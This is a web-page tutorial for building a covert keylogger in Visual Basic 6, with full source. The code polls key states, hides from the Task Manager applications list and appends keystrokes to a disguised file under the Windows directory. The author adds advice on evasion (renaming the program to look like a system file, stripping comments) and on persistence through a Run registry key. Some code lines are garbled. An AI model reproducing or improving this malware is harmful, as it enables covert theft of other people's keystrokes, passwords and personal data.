You are on page 1of 5

Created by Brandon Wise from Next-Gen IT

Basic Key logger Tutorial Using Visual Basic.

Now I started this project for a school project and never really finished making it
into the beast that it could be. So for all you programmers out there play with it make it
better and then e-mail it to me and I will put it up on the web site for others to use and
play with.
With that said I am not a programmer, I am but a Information Security Specialist,
programming is something I just like to tinker with here and there so please understand
that this is a basic key logger that is intended to show others how easy and fun programs
like this can be.

So getting started with the tutorial….

I used Visual Basic 6 when I first developed this program just because VB is easy and
seems to work well for programs like this. You could easily open this project using
VB.net and it would upgrade it to the .Net framework fairly easy.

When you download the code you will see that I have made many instructions within the
code itself because I want this tutorial to be as easy to understand as possible, you may
want to remove the “explanation” text within the code when you use the program to
better help “rouge” it for what it really is and of course you should never use this
program or any other program to harm others or break the laws. With that said lets get
started.

Tutorial Start:
Step One: You need to layout your form with a few items. You can do this by
using the Visual Studio drag and drop function or you can just add the “form” code
below.
1. You need to create a timer and set the timer interval to 1. This will set
the program to constantly reset.
2. You need to create a text box and name it txtlog(or whatever you may
Want to name it). The reason you need a textbox is because your
Program will be constantly writing to this text box which will then
be output to the file of your choice.
3. You need to set the form visible value to false if you don't want to be
able to see it, when it runs in Windows.

Form Control Code Below…


Begin VB.Form KL
Caption = "BW Key LOGGER"
ClientHeight = 930
ClientLeft = 60
ClientTop = 450
ClientWidth = 1725
LinkTopic = "Form1"
ScaleHeight = 930
ScaleWidth = 1725
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Visible = 0 'False
Begin VB.Timer Timer1
Interval = 1
Left = 1200
Top = 360
End
Begin VB.TextBox txtlog
Height = 375
Left = 240
ScrollBars = 3 'Both
TabIndex = 0
Top = 360
Visible = 0 'False
Width = 735
End
End
Attribute VB_Name = "KL"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Below it the rest of the code with some basic instructions within the code it’s self I am
not going in to great detail on how things work and why, but just trying to get across how
key loggers are created. The “explanation” text is colored in blue and kind of gives a
overview of what some of this code is doing. The actual downloaded keylogger.rar is
much more explanatory.
Private Sub Timer1_Timer()
'Mak Invisible from task manager
App.TaskVisible = False

Dim keys As Integer


Dim fso As New FileSystemObject
Dim tf As TextStream

'Key handling events


For i = 28 To 128
keys = 0
keys = GetAsyncKeyState(i)

If keys = -32767 Then


txtlog.Text = txtlog.Text + Chr(i)
End If

'File Handling, saving as C:\WINDOWS\win32resource.dat which works best if


opened with notepad or some other type of text easy text editor.
Set tf = fso.OpenTextFile("c:\WINDOWS\win32resource.dat" & txtName &
".txt", ForAppending, True)
tf.Write (Me.txtlog)
tf.Close

txtlog.Text = Clear

Next i

End Sub

Now some explanation of what some of the code is doing.

First thing I did in my code was make it so that it would hide from task manager so that
if someone thought a program was running and tried the old ctrl-alt-del they would see
nothing. Now it hides from tab applications not the processes tab, and there is a reason
why. When I was developing this I would often have to test it to see if it would work and
I had to have a way to turn it off, so if I made it invisible to processes then chances are I
would have to reboot to get rid of the program. So this just makes it easy to test with, and
even thought it doesn’t hide all you have to do is name the program “win32dll” or
something and normal people would never know the difference. But to make it hide I
used:
App.TaskVisible = False
That’s it…that tells windows to hide it from the Task manager.
Now the tricky part…
For i = 28 To 128
keys = 0
keys = GetAsyncKeyState(i)

If keys = -32767 Then


txtlog.Text = txtlog.Text + Chr(i)
End If

The code above is the key handling event, and tells the program to constantly monitor
your input from the keyboard and store it. Now I had problems getting this to work at
first and this is where if you want to tinker and make it better you will have to work on
this section adding statements for special characters…etc.

File Handling….
Set tf = fso.OpenTextFile("c:\WINDOWS\win32resource.dat" & txtName &
".txt", ForAppending, True)
tf.Write (Me.txtlog)
tf.Close

txtlog.Text = Clear

Next i

This part above handles the output to the file. Now there is better ways of doing this but
for the most part this is a real good quick way of doing that. I mean it is pretty
explanatory within itself in the fact that that everything is saved to the file
“win32resource.dat” file which I created under the Windows directory. This section
could use some modification if you want the output of your code to be neater and
“prettied up”.

**Note you will have to have the Visual Basic runtime installed on the machine that you
wish to install this program at. In addition you will have to make a registry edit under
HKEY_CURRENT_USERS---SOFTWARE---MICROSOFT---CURRENT VERSION---
RUN to point at the program to make it run at system boot, and you will need to make
sure that Microsoft scripting runtime is enabled.**

That’s it I know this was a brief overview of how to create a key logger but if you happen
to have and questions feel free to e-mail me at brandon@next-genit.com

In the keylogger.rar file I have included a working executable of the program and this
document and the “project” code which can be altered and complied to make a working
program.
** This tutorial is a use at your own risk type tutorial. Next-Gen IT is not responsible for anything that comes from this code or
tutorial. Use at your own risk understanding the laws against logging of personal/government information.**

You might also like